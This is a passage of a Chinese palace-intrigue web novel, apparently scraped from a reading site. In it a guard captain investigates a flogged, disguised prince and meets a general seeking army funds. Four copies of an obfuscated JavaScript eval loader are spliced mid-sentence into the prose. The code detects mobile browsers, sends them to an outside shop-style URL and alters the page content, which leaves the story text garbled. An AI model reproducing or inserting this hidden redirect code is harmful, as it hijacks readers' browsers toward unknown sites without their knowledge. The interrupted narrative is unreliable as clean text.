“砰”地一声,是瓷器落在地上碎裂的声音,沉默,如死寂般的沉默…… 良久的沉默后,李暨笑了,那笑声像从喉咙里硬挤出来似的,生硬还有莫名的愤怒:“哦?你在何处见的他?” 汤士嘉实话实说:“微臣教授完二皇子诗书礼记正要出宫时,恰巧碰见了前来找二皇子的大皇子,他和微臣聊起了二皇子近日的状态,微臣见大皇子如此关心二皇子,一时心中感慨……便没忍住问了他的课业,才知……” 李暨突然打断汤士嘉的话:“汤阁士这是觉得朕过于偏心了?” 声音带着压迫感和深深寒意,仿佛只要他承认,下一刻李暨便能以“冒犯天威”之罪,撤了他的职,将他关入牢中。 汤士嘉学问很高,是当代大儒,也是国子监的老学究了,甚至当年的秦王,宁王亦都是他教的,在读书人心目中的地位堪比历代圣贤名仕。 他比崔太师小不了几岁,本该颐养天年,李暨不知是何缘由非要让他给二皇子当老师,甚至亲自来请。可惜二皇子太过平庸就算有如此老师,也难开窍。 汤士嘉是个快要入土之人,并不在乎李暨对他如何,叹道:“……天家之事,微臣本不该置喙,只是圣人言:父慈而教,子孝而箴①。圣上难道不觉得对待大皇子过于严苛了?” “……” 李暨是真的被气着了,但他知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517646|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道对待这种人不能硬刚,这样只会适得其反,便转向张作义发问:“张御史的想法也和汤阁士一样?” 这是问立储一事。 张作义:“二皇子过于年幼,微臣以为圣上正值壮年,只要将身体休养好,还能活上百年,不当早早就立太子。” “呵,你当朕是池子里的王八吗?先帝都没能活上百年,朕如何能活?” “微臣认为圣上不该妄自……” 李暨终于烦了,冷声道:“算了,你们都下去吧。还有汤阁士的这些话朕就当你没说过,好好教看着二皇子,如果再有妄言,朕绝不姑息!” 汤士嘉眉头紧锁,似有未言之语,最后还是道:“臣……遵旨。” 两人一前一后离开,最终这太子之位依旧悬而未决。 “圣上,卑职有事禀告。” 顾之行行礼道。 等人走后,李暨似是泄了气的气球,每个字都透露出疲惫,他问:“顾之行你觉得朕该立谁为太子比较好?” 目前状况,无论哪个都不是顾之行这个小小的中郎将所能置喙的。 顾之行垂眸:“卑职不知,卑职只知道谁是圣上,卑职就听命于谁。” 李暨似是笑了,笑声未止,随之而来的是咳嗽声,惊天动地,仿佛要将整个肺部也咳出来,半天才缓过来:“好了,你将这几日的动向都汇报一下吧。” “是,卑职最近听闻……” 顾之行汇报完刚从宫殿里出来,迎面就碰上了同样圣上被召见的陆思臣,陆思臣一见他便道:“我有话要同你说,你可否在此地等我一会儿?” 顾之行:“……” 的确是一会儿,陆思臣很快就出来了,神色凝重,但见到顾之行还是习惯性地勾唇浅笑。 顾之行:“不知陆小将军有何事要找卑职?” “不瞒你说,其实这几日我在四处筹措军饷,军粮。而我听闻之行你经常在御前行走,又得圣心。我接下来的话可能有些卑鄙无耻,可为了我手底下那些正在忍受饥饿的千万将士们。我还是要说,你可否帮我向圣上求个请,让他拨点军饷给我?” 陆思臣语气诚恳,眉间憔悴,看样子为此事操了不少心。 顾之行:“……” 凭借着暗卫在朝堂上搭建的一些情报网,顾之行早就知道陆思臣一直在为军饷军粮一事奔波,不但去过崔府,甚至还和阎都的勋贵们做起了“生意”。 说是生意,其实是借贷。 今年我借你多少粮食,银钱,明年你就要连本带利地还回来,要的利息甚至比黑市还要高。 当真是荒唐滑天下之大稽,让驻守边疆的将士们“花钱”买粮吃,阎都吃得油光水滑的勋贵们却能坐收渔利。 他们每天过着面朝黄土背朝沙的日子,连呼一口气都能吃满嘴的沙子,这样的生活,哪还有余力还? 虽有像张作义这样的官员愿意无偿捐献,可也始终杯水车薪。 否则陆思臣万不会向顾之行开口的,他刚刚又向圣上提议,依旧被国库空虚,无军饷军粮可发给打发了。 国库空虚,国库空虚…… 既然国库空虚,那这些银两又流向了哪里? 每个人心里都清楚。 顾之行表面虽没有参与斗争,可暗地里的波涛汹涌他看得一清二楚。从郑旭开始,圣上就一直在打压崔氏,而崔氏想要拉拢陆家对抗皇权,陆家想要军饷…… 36. 鞭笞 “物是人非,你我如今职责不同,已不是可以忆往昔的关系。” 顾之行现如今是中郎将,纵使与陆思臣有旧交也该避嫌。他这是在给陆思臣提个醒。还没等陆思臣开口,顾之行又道:“不过这里不是闲谈的地方,要是陆小将军肯信我一次,明日午时三刻可一人到城郊外的十里亭等我。” 这算是同意了。 陆思臣一愣,转而道:“……明日我定准时赴约。” 说罢,两人各自去往不同的方向,好似刚才只是简单的相互问候。 顾之行避开各宫宫人,一人前往明曦殿,他之前和李泽桉约定好,一到休沐日便会去看他。 今日是休沐日,他向李暨汇报完情况后,就暂时没有他的事了。 或许和以往经历有关,顾之行对人与事总是很淡漠,像一人走过这人世间一样,他不在乎旁人的流言蜚语,歧视谩骂,只要不挡路,他一概视作不见。 若挡了路,杀了便是。 可偏偏有一人总是纠缠着他,而他竟……纵容了。 或许是初见时那孩子的眼神给他的印象太深了,倔强狠辣,将想要的一切都写在眼睛里,和他以前很像。 所以顾之行违反了暗卫守则的第三条:不许私自结交好友。 明曦殿一如既往地荒芜寂静,他轻车熟路地翻墙而过,刚落地,带着杀意的刚劲掌风就向他袭来。 顾之行不闪不避,运功,抬掌相抵,正面硬刚,一时间以他们为半径的周围脚下形成一股旋风沙石乱飞,树叶无风自动,沙沙作响。 老人挑眉,露出一丝玩味的笑容,这小娃娃虽年纪轻轻,可这功力不在他之下啊。 他一只手背在后面,慢慢活动着手腕,一枚银针在他掌心处出现…… “等等!不要伤他!” 李泽桉突然出现打破了老人想要试试顾之行,底细的想法,他收手,后撤,刚要询问。 李泽桉直接挡在顾之行前面:“他是我认识的人,所以别动他。” 老人对李泽桉厚此薄彼的态度有些不满,挑眉道:“你小子……” 顾之行闪身到他面前,因右手受了伤,便左手握剑向他刺去。 两人直接缠斗起来,两人都是高手,招式太快了,根本看不清。 顾之行原本还在怀疑,现在基本确定了,这人与李案是一脉相承的武功,刚刚和他对上时,顾之行就觉得他的内功经脉的走向很熟悉。 他们若不是师徒,也是同门。 可与李案相关的人为什么会到明曦殿?难不成他的调查有误,李案真的同样效忠于大皇子? 李泽桉脸色凝重,他知道以顾之行的聪明,定是觉察出什么了。 “哥哥,小心!” 李泽桉以肉身横档在他们中间,老人没想到李泽桉竟然这么“莽撞”,甚至没运用内力来挡,可他招数已经来不及收回,强行停止定会反噬其身。 最终他只能咬牙一转,握拳击向旁边的老愧树,老槐树被震得树枝乱颤,最后“轰”地一声倒下了。 顾之行顺势拦腰将不会武功的李泽桉抱起,飞离原地才没让他被倒下的树木压死。 巨大的树干横躺在地上,落叶散满地,树枝砸入池中搅浑了一池清水,连石桌都缺了一角,入目满是狼藉…… 顾之行没有放水,老人亦使出全力,若这一招打在人身上怕是五脏六腑都要移位,暴毙身亡了。 顾之行作势还要打:“殿下,你我之间见面的事,绝不能让不相干的人知道。” 老人笑了:“这话应该是我说吧?” 李泽桉握住顾之行的手腕:“等等,哥哥他不是不相干的人,他是……我认识的人的师傅。” 顾之行转头看向他:“殿下认识的人?” “嗯,他是李案的师傅。” 李泽桉笑道:“哥哥应该知道李案这个人吧?他还协助哥哥一起破获了“黄河案”。” “既然是李案的师傅为何会突然出现在殿下的宫殿里?” 李泽桉解释:“李案是我从前在民间结识的奇人……不久前我见父皇一直在苦恼“黄河案”,为了替父皇分忧,便举荐了他协助哥哥破案。父皇后来觉得他好用就顺势将他留了下来,不过因为他是我好友,有时候我也知道……一些事情,至于他,是李案拜托我暂时照顾的。” 顾之行看着老人这满面红光,健将有力的身体,半点没看出他哪儿需要别人照顾。 不过李泽桉倒是解决了顾之行最后的一点疑惑,他道:“殿下的身旁还真是卧虎藏龙。” 李泽桉叹道:“哥哥莫要讽刺我了,我一个不受宠的皇子,谁会在意呢?” 老人看着这两人一问一答的“甜蜜”模样,实在酸得牙疼。但这乌龙事件其实本可以避免的,李泽桉很早前就在赶他走,不过他贪恋那口“莫醉”,说什么都要先把它喝完了再说,就这样左耽搁右耽搁才造成现在的情况,便心虚道:“咳咳,那个……殿下,老朽觉得自己现在就挺好的,不需要人照顾,老朽现在要去找徒儿了。” “等等,有人来了。” 顾之行蹙眉,望向大门。 下一刻,黄忠便带人毫不客气地闯了进来,刚踏进殿门,就被眼前的景象惊得一愣,院内像被飓风刮过,杂乱无章,巨大的槐树不知是何原因倒在地上,还正巧挡住了这唯一的路。 李泽桉一人站在那里,手里拿着一把斧子,见黄忠到来,不在意地笑道:“黄内侍来的真不凑巧啊。” “这,殿下,您……您这是在干什么?” 黄忠指着槐树询问,震惊的都结巴了。 其实他更想问,殿下你是不是疯了?! “哦,只是忽然觉得这棵树有些碍眼,就将它砍了。” 李泽桉丢掉斧头:“本宫的药都按时服用了,不知黄内侍为何突然大驾光临此地,是父皇有什么旨意吗?” 稍微懂点行的看槐树不平整的横切面就知道这根本不是斧头所砍的,不过黄忠不懂,也不想在意李泽桉到底在想什么,他只是负责传达李暨的旨意。 黄忠端起架势:“圣上口谕。” 李泽桉跪地:“儿臣接旨。” 顾之行与老人在黄忠闯进来前就躲进了房间,他听着外面宣旨的声音,蹙眉。透过细小的窗缝看见宣读完口谕的黄忠卷起袖子费力地跨过树枝,身后是行刑的宦官们。 黄忠站在李泽桉旁边低声道:“还请殿下莫要怪罪老奴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517647|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李泽桉依然笑着:“本宫还是不懂,本宫究竟做错了什么事,惹得父皇震怒,竟连一刻都不容本宫去辩解就要责罚。” 黄忠微微弯腰,是俯视的姿态,一个下贱的东西仗着皇恩竟敢用俯视的角度去看堂堂一名皇子。 真该死啊,可这儿没人去敢质问。 他柔声道:“殿下心理明明很清楚,不是自己的东西就不要去妄图拥有,因为最后受罪的还是自己。” 不要贪图不属于自己的东西? 李泽桉笑了一下,没怪罪他的大胆无礼,也没一味地辩解喊冤,只道:“还请黄内侍明示。” 黄忠看他实在愚昧,不知是出于什么心理,终究还是多嘴了一句:“殿下,还记得汤阁士吗?汤阁士明明是二皇子的老师,却偏向于殿下……” 他懂了。 原来如此。 父皇提防着他提防着紧呢。 甚至他不过看了一眼那皇位,就急不可耐去惩罚他。 这是让他认清自己的位置。 李泽桉轻笑了一下,没有说话。 他知道就算他再怎么解释,李暨也不会听的。 黄忠向后退了一步,用眼神示意他们动手,带着倒刺的鞭棍一下又一下落在李泽桉身上,他们揣摩着圣意,根本没有手下留情,是用了狠劲的,不一会儿单薄的衣服上就沁出了血。 天晴气高,满园落索,因低着头旁人无法看清他此刻的神情,可那过于单薄的身子,总让人觉得他其实很委屈。 老人有点看不下去了,低声骂了几句,就自顾自地坐在一旁的梨花木椅上生闷气。 除此之外他什么都做不了。 见顾之行还在看着,便道:“哎,小子你和……那个殿下是什么关系?” “没有关系。” 老人挑眉,他咋不相信呢? 没有关系会专门过来看他这个徒儿? 寻常人连这见着这宫殿都要绕道走,就怕生了晦气。 顾之行终于移开目光:“几年前见过一面罢了。” 几年前见过一面? 嗯,几年前见过……等等…… 老人瞬间瞪圆了眼睛,几年前……难不成他就是我的好徒儿说的“哥哥”?! 顾之行见老人神色有异:“殿下向你提起过我?” 老人:“……” 还真敏锐。 不过他何止提起过你,他对你简直是日思夜想,天天念叨,夜不能寐…… 咳咳…… “嗯,提起过几句,只是不知你姓甚名谁?” “老爷子怎么称呼?” 还是个不愿吃亏的主儿。 他也不愿意和年轻人计较这些,摸了摸胡子,故作高深道:“老道年纪大了,原本的名字早就忘得一干二净,就有个诨名叫李老道,旁人这么喊,你也可以这么称呼我。” “顾之行。” 简洁明了。 “……” 李老道见顾之行又看向外面,便调侃道:“怎么担心他?” 他其实想说,就这点伤他徒儿那身板子养几天就好了,不用太担心。 没想到顾之行问:“为何担心?” 李老道:“……” 37. 疑心 李暨的旨意不止如此,为了让李泽桉涨记性命他将《圣训》抄百遍,三日后交。 当真一点休息的时间都不给。 黄忠等人离开后,顾之行和李老道才出来。 李泽桉似有所感抬头,漂亮的脸已是煞白无比,倒刺的鞭棍是很阴毒的刑具,看上去人畜无害,可每打一下那尖利的到刺都会将人身上的皮肉连皮带肉的勾下来,痒痛难忍。 这一般用于审讯不肯招供的犯人身上,不到一刻犯人身上就没有一处好皮,再将盐水倒在身上,浑身将会如万蚁撕咬,如此反复,纵使铁打的汉子也难以受过七日。 听着李老道骂骂咧咧的声音,顾之行蹙眉,纵然他知道李泽桉不受宠,却从没想到李暨竟会将这种刑具用在自己的儿子身上。 就只为敲打他…… 血止不住,浸染了衣服,顺着背脊滴落在地上,他似是怕顾之行担心,冲他一笑:“哥哥我没事,别担心。” 说着瘦弱的身体一歪,就要倒下。 顾之行眼疾手快接住了李泽桉倒下的身体,李老道也跟着蹲下身,把了一下脉,原本凝重的脸上放松下来。他看了看他的徒儿双目紧闭的脸,陡然叹了一口气,将两指从脉搏上移开,接着从怀中掏出一个药瓶,倒出一颗拇指大的药丸,塞进他嘴里。 顾之行见李老道叹气,还以为李泽桉伤得很重,便问道:“情况如何?” 李老道摇头:“没什么大碍,大概是被痛晕了,休息一会儿就行,地上太凉还是先将他弄到卧榻上休息。” 顾之行将李泽桉抱进殿里,放在床上,因背部受了伤,只能让他侧着睡。 话虽这么说,可李泽桉状态看着实在不太好,眉头紧锁,冷汗直流。 李老道是住在这儿的,比顾之行更熟悉这里的情况:“我去喊人,让他们将热水和干净的白布,还有金疮药都一起送过来。” 现如今能在李泽桉身边办事的应该都是他信任或是口舌严实之人,顾之行点头,没有阻拦。 没一会儿,几名宫女井然有序过来了,她们像是对此情况早已烂熟于心,没有惊呼,喊叫。非常有条理的处理李泽桉的伤势,对顾之行的出现也未露出一丝异色,应该是被特意交待过了。 血腥味很快在殿中蔓延,干净的热水换了一盆又一盆,白布被染红。 床边的烛火将李泽桉的脸敷上了一层暖意,看着好似有了一丝血色,只是过于安静了,顾之行眸色微动,不知在想什么。 李老道突然开口:“你……” 顾之行转头。 李老道其实也不知道自己要说什么,只觉得自己必须要说什么,至于怎么说完全没有头绪,最后只盯着他徒儿的脸干巴巴地来了一句:“他……挺看重你的。” 这话莫名其妙,他们之间又不是从属关系。 顾之行:“……” “那你如何看待他?” 这话更不知从何说起了。 顾之行直视他:“殿下为君,卑职为臣,只有君审视臣的份,从未听说臣越矩去想象君该怎么做。” 这话听着真是忠心耿耿,但也只有忠心。 李泽桉睫毛轻颤,又归于平静。 李老道:“……” 李泽桉一直没醒,顾之行不可能一直待在这儿,就先行离开了。 宫女们也安静退下。 殿内就只剩下他们两个人时,李老道笑道:“他已经走了,就别装晕了。” 他一开始见李泽桉晕倒是真以为出事了,把他吓一跳,可李泽桉脉象平稳,不像有晕症之人……去掉一切可能,那剩下的再不可能也变得可能了。 李泽桉是装的,装给顾之行看。 可能是想试探顾之行的真心吧,李老道这样想。 可惜抛媚眼给瞎子看,人家根本不关心。石子丢进河里还能溅起一丝涟漪,而顾之行,李老道想了一下他始终冷淡的神色,不由得开始担心起自家徒儿后半生的幸福了。 李泽桉睁开眼睛,神色平静,好似早就料到了这个答案,他起身想要下床。 这把李老道吓得不轻,急忙扶住他:“怎么起身了,刚止住血,万一伤口崩裂了怎么办?” “抄书。” 李泽桉笑道:“三日为期,如果现在不抄,可能抄不完。父皇可不会在乎我的伤会不会更严重,他在乎的是我会不会听他的话。” 这是实话,李老道无法说什么。 李泽桉端坐在书案上,抄书,他落笔很稳,如果忽略他苍白的唇色,一点都看不出他受了严重的伤。 他用的是楷书小字,字迹工整秀美。 看着李泽桉这副样子,李老道心中也不好受,他步子踱来踱去,最后摸到腰间的酒壶,灌了一大口,才道:“徒儿你……” 李泽桉抬头笑道:“师傅在担心什么?担心我会为了哥哥刚刚说的话难过。” 李老道:“……” 说实话有时候他挺不喜欢他徒儿这种可以轻易看穿人心的特点。 “放心,我不会。我装晕是因为哥哥已经开始怀疑我了,为了不泄露更多秘密才不得已出此下策。” 李老道知道这锅有一半是自己的,讪笑了两下,也平静下来,仔细分析道:“在你受罚时,那小子一直盯着你看,先前提过你假扮李案在民间行走,你们也打过不少交道,他不会就这样认出你了?” “应该不会。” 李泽桉对自己的易容缩骨之术很有信心,身形,声音,动作习惯两人皆不一样。 如果不是今日出了点差错,顾之行无论如何都不会把两个天差地别的人往一起想。 是啊,一个皇天贵胄的皇子,一个低贱到尘埃的平民,没人会联想到他们是同一个人。 可黄忠道这一遭,还有李老道把这些都打碎了,有了破绽,像顾之行这种心静澄明之人肯定能顺着线索调查出更多…… 所以他现在才不愿面对顾之行,不是怕被他知晓真实身份,只是希望他能晚一点知道,最起码要等所有事情都尘埃落定…… 李老道坐在李泽桉旁边,看着徒儿撑着伤病的身体还在坚持抄书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517648|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对李暨的不满到达了极点:“那个皇帝老儿还没老怎么就提前昏庸了,胡乱冤枉人。” 李泽桉:“……” 其实也不算冤枉,他是有意识地接近汤士嘉,毕竟他在朝中无人支持,要想稳定根基是要拉拢人的,而他目前能接触到的只有经常出入宫中的汤士嘉,不过他没想到李暨会突然立太子,而汤士嘉会举荐他……这无疑是打乱了他的计划。 但也不是全然没有好处,最起码他知道了他的这个弟弟是真是不堪大任。 * 李泽桉猜测的没错,顾之行是有些怀疑,毕竟发生的事都过于巧合,李案过于灵通的信息;李案的师傅李老道与大皇子的熟稔;还有圣上和大皇子之间的对立…… 顾之行想起李暨的话,眉头紧锁。 看来大皇子并没有像表面上看上去那么与世无争,要想查明李案到底是谁,过于亲近自己究竟是何目的。要从大皇子身上入手才对,他之前的调查方向都错了。 无故私自调查皇室子弟,乃是大罪。 可作为皇帝手中的一把刀,他要排查一切对皇权不利的隐患。 顾之行推开自家院门前,特意抬头看了一眼隔壁院子,没有灯火,黑暗寂静的环境,只有上弦月的清影洒落能模糊地看见屋檐上的鸱吻?。 顾之行推门而入,没了吵闹声,一切都无比的安静。李案这个名字猝不及防地在他心中划过,顾之行皱眉,他真心希望李案如他自己所说那样“清白”,否则…… 一大早,顾之行刚起床,披衣,推开窗通风,就听一道清朗的声音从头顶传来:“哥哥,你醒了?” 抬头,就见一少年坐在低矮的墙头上,他的身子微微前倾,手中举着油纸包裹的熟食,额前的碎发被风吹动,一双月牙般的眼睛就这样笑着看他。 原本平凡的脸被这笑容染得鲜活起来。 李案见顾之行醒了,直接就跳了下去,长手长腿的他几步就跨到了屋门前。 顾之行离开窗边,准备洗漱穿衣。 见李案在外面徘徊却迟迟没进来,便道:“门没锁。” 意思是让他进来。 “好。” 李案依言走进去,将吃食放在桌上。 顾之行看他:“有事找我?” 李案笑道:“我是来贿赂一下哥哥的,希望我潜入同会馆时哥哥不要太为难我。” “你打算假扮成什么人进去?” 李案没回答,只道:“哥哥到时候就知道了。” 顾之行:“……” 用完餐,顾之行照例去会同馆巡视,大概是伤了膝盖,今日弥且孛扎罕见地没有生事,馆内一派祥和。 李案跟在顾之行身后,完全无视现在的会同馆是个禁区。而李案与顾之行自己的相处模式太过自然,其他禁卫军见此还以为他是顾之行身边乔装打扮的千牛卫,未曾多加过问。 顾之行也没有阻止,他想看看李案究竟要做什么。 但直到赴约前顾之行才发现,李案只是跟在他屁股后面,啥也没干…… 38. 郊外 顾之行回头,因腰间跨着剑,随着动作与腰牌发出碰撞声,他神情冷淡:“为何一直跟着我?” “哥哥误会了,我只是先提前熟悉一下会同馆的布局,不过……” 李案打量了一下顾之行笑着问道:“哥哥这是要去见什么人吗?” 顾之行本不想问,但还是没忍住:“为何这么说?” “哥哥抬头看天次数比平时多了两次,甚至还向旁人询问时辰,所以我猜大概是要去见什么人。” 顾之行:“……” 他表现得那么明显? 李案接着道:“哥哥,我可以跟着去吗?” 顾之行约陆思臣在郊外相见是为了不让崔氏的人察觉出什么,也不想让李暨对他们的关系起疑,但这场争斗中终究是要分出个胜负。从顾之行的立场来看,自然更偏向于让李暨和陆氏赢。 李案表面上仍是替圣上办事,甚至在绊倒崔氏上扮演着重要的角色,顾之行没有理由说不,况且有他在场,李案应该不会在他眼皮子底下耍心眼,顾之行点头:“……可以。” 顾之行换上常服,两人一前一后出城,运用轻功在林中快速穿梭,鸟雀被惊得飞起。 李案一开始还能跟上,可后来渐渐体力不支,落后了一大截。 顾之行只能停下来等他,李案带着人皮面具看不见脸色如何,可应该绝称不上好看。 顾之行回头看李案脚踏在树枝上,有些不稳的身形,皱眉:“你受伤了?” 李案用手撑住树干,喘了口气,抬头笑道:“哥哥的轻功举世无双,这世上应该少有人能跟上。” 这是怪他太快了? 顾之行没说话,但速度还是慢了下来。 陆思臣早已坐在十里亭等候,身边站着罗志,两匹马被拴在庭外,正低头吃草,听到细微的动静后静止不动了,耳朵尖动了动,随后嘶鸣了一声,像是在告诉主人有人来了。 顾之行先到达,走进亭前,特意望了一眼那两匹高头骏马,它们头型呈?倒三角形,通体黑色,无杂毛。他不懂马,可却看出这两匹马绝非凡品。 陆思臣起身迎接,在看见顾之行身后的李案后,动作一顿:“这位是?” “一位朋友。” 李案行礼:“小民李案参见陆将军。” 一介白身吗? 陆思臣用调侃的语气道:“我原以为你这样冷淡的性子,不会轻易再交到什么朋友,更别提……这位小友与你的身份相距甚大。” 李案敏锐捕捉到关键信息:“陆将军和哥哥之前认识?” 顾之行并不想在此地忆往事,便岔开话题道:“李案虽是白身,但圣上似乎很重用他。” 这是在介绍李案,也给陆思臣递交一个重要信息,他想要的或许可以通过这个人得到…… 陆思臣有些惊讶,不由得重新审视这位相貌平平的少年,神情也正色起来:“你能说服圣上?” 李案虽不踏入朝堂,可宫中也有不少眼线,再加上陆思臣多日来的奔波,朝中无人不知,昔日提刀上马能砍杀敌方首领的头颅,立下赫赫战功的陆思臣是个到处借钱的“穷将军”,他自然知道陆思臣目前的困境。 李案率先坐下,双手一摊,坦言笑道:“说服不了。” 陆思臣也跟着坐下,闻言眉头又皱了起来:“这……” “圣上多疑,绝不会轻易将什么东西拱手送人,陆将军你要证明自己的价值才行。” 陆思臣皱眉:“我陆家上下几百人口都对圣上忠心耿耿,父亲亦镇守边疆多年……” “好听的话谁都会说,你们陆家对大梁江山有功绩,可这挣得难道不是家族荣耀与万世美名吗?” 陆思臣猛地看向他,一时竟一个字都说不出。 罗志可不管这些,但他容不得旁人这样侮辱陆家,侮辱拿命拼搏出一条路的兄弟们,开嗓骂道:“什么狗屁歪门邪道?我自小跟随陆元帅,几次身处险境,死里逃生,若不是一腔热血为了大梁朝能国泰民安,百姓能过上好日子,咱们兄弟用得着那么拼命吗?!还有这荣华富贵我们是没看见,明明全让阎都官老爷们享受了!更别提万世清名,那是死后的事了,这些虚名有没有还两说呢!左右我们真的捞到了什么?!” 李案被骂了也不恼,依然笑道:“所以你们为的是大梁江山与百姓,而非圣上啊。” 这话说得暧昧,大梁的江山与百姓皆在圣上统治中,为了大梁的江山与百姓不就是为了圣上吗?! 罗志还在愤愤不平,陆思臣却从李案话中联想到另一种意思,再加上朝堂的暗流涌动,顿时明白了过来:“所以我要怎么做?” 和聪明人说话就是省事。 李案笑道:“有一个计划只看陆将军会不会配合了……若真的能帮,到时别说今年的军饷军粮,明年,甚至往后的三年,陆将军都不会为此发愁。” 陆思臣:“……” 顾之行的计划和李案有所出入,但大致方向是对的,便道:“改日我会登门拜访,陆将军若是考虑清楚可以我答复。” “不用,我现在就可以给你们答复。” 陆思臣目光坚定:“我愿意做。” 阴天,无风,是个很爽利的日子。 几人又聊了会儿才纷纷起身告辞,陆思臣见顾之行的目光总是有意无意地落在他的马身上,以为他有所担忧,便道:“我和罗志虽骑马而来,但阎都之人都知晓我喜欢到处遛马,再加上最近我心情不好,所以旁人见我骑马出城也只会认为我是到郊外散心,再加上我还带上副将,所以不会有其他怀疑。” 其实这人是看上别人的马了,但君子不夺人所好。 顾之行:“……嗯。” 终于只剩下他们两个了,李案逮着机会发问:“哥哥和陆将军从前认识?” 顾之行的脾气一直算不上太好,只是他出色的样貌和过于冷淡的性格,让人一看见就会不自觉对其轻视,他道:“李案你越距了,你还记得自己之前说过的话吗?我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520467|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会追问你的真实身份,但你也别过问我的往事。” 搬起石头砸自己的脚了。 李案怎么也不会想到顾之行竟会和陆家扯上关系,看样子还关系匪浅,他之前明明调查过顾之行的义父只是个普通的游商,甚至那年大火也不过是他们的对家一时逞凶肆虐造成的惨案……是他漏掉了什么关键信息吗? 李案看着顾之行身影,眼神中闪过一丝之流,他快步走上前,直到与顾之行齐平才放缓脚步,歪头看向他:“哥哥这是生我气了?” 仔细听嗓音中还有一丝委屈。 顾之行天性冷漠,更是少有情绪能占据他的内心,除了义父与亲生父母,任何人与他而言和世间上的花草树木无异,只不过认识与否的关系。 只是李案确实不同,这个人在顾之行身边做尽“讨好之事”,可这“讨好”是带有目的性的,而他看不透…… 顾之行反问:“为何生气?” 李案:“……” 顾之行是没生气,但轮到李案心里不舒服了。人心里一不得劲就必须要找个东西发泄一下,李案舍不得折腾顾之行,就只能去欺负一下“无辜之人”了。 而这些“无辜之人”便是关在会同馆的外番使臣了,刚和会同馆的大家混了个脸熟,李案就开始打着顾之行的名头开始“欺负”他们。 至于如何欺负…… 弥且孛扎虽因腿伤不便行动,需静卧休养,虽不再想着冲出去,省去了不少麻烦,可却开始想方设法用残忍的方法虐待伺候他的人。这不刚刚就有一个人捂着右耳,满脸惊恐地叫喊着,连滚带爬地跑了出去。被捂住的地方鲜血大股大股地流出,半个肩膀都被染红,甚至血迹一路拖至数十米。最后那人因惊惧而暴毙身亡,临死前眼睛瞪得很大,死不瞑目……一问才知,弥且孛扎把他的耳朵割下来当“鹿茸”泡在酒里喝。 残忍至极,这些派来伺候他的人全是会同馆里的衙役仆从,他们一看这人的下场,早就吓破了胆子,相互推诿,几乎每个人都不想领这份差事,可谁敢真的怠慢这位贵人…… 顾之行知道这是弥且孛扎给他们的下马威,弥且孛扎也明白他们不会因为“这点事”就拿他下狱,所以他肆无忌惮,为宣泄;为报仇;为震慑;更想让大梁的皇帝知道他不是好惹的。要么就老老实实地把他放了,送上朝礼;要么就一天杀一人,两天杀一双。 大梁最讲“礼”制,出了这等人命,一天能瞒下去,两天,三天……十天,真的能瞒下去吗? 众口铄金,恐慌下的百姓会把大梁的皇帝骂得啥也不是。 到时候再想收场可就难了。 算盘打得很好,可惜他碰到了不按照常理出牌的李案和顾之行。 首先顾之行从源头上掐断了他的算盘,不再派仆从伺候他。待客之道,要“客”有礼才能待之,若是“客”无礼,主人何必以礼待之。 果不其然,弥且孛扎大怒。 李案这时自告奋勇表示愿意前往“照料”弥且孛扎。 39. 黑心 嚷嚷着回去后一定要让萨普派兵攻打大梁。 李案给顾之行使了个眼神,然后自己走了进去,他假意安抚地把一壶惨了大量花椒粉末的酒送到他面前,不设防的弥且孛扎直接一口闷下去,被呛得半天说不出话来,黝黑的脸罕见地被憋出了一抹红晕来,眼泪鼻涕齐流,本来就长得不怎么样的脸,现在更加不忍直视。 弥且孛扎怎么也没想到一个不起眼的瘦弱少年胆子竟然那么大,竟敢给他使绊子。 “宵小之辈,竟敢算计我!” 弥且孛扎大喝一声,将放在枕下的朴刀抽出,此刀身宽而厚,脊线笔直,刀刃泛着寒光,他挥刀劈去,誓要将李案的脑袋砍下来当皮球踢! 在外面看守的异邦人听见动静,手下意识摸向腰间的刀,要冲进去,却被得了顾之行命令的人拦住,两方人马再次对峙。 李案仗着身法灵活,轻松躲过,砍在了床边的木凳上,木凳直接被砍成两半。 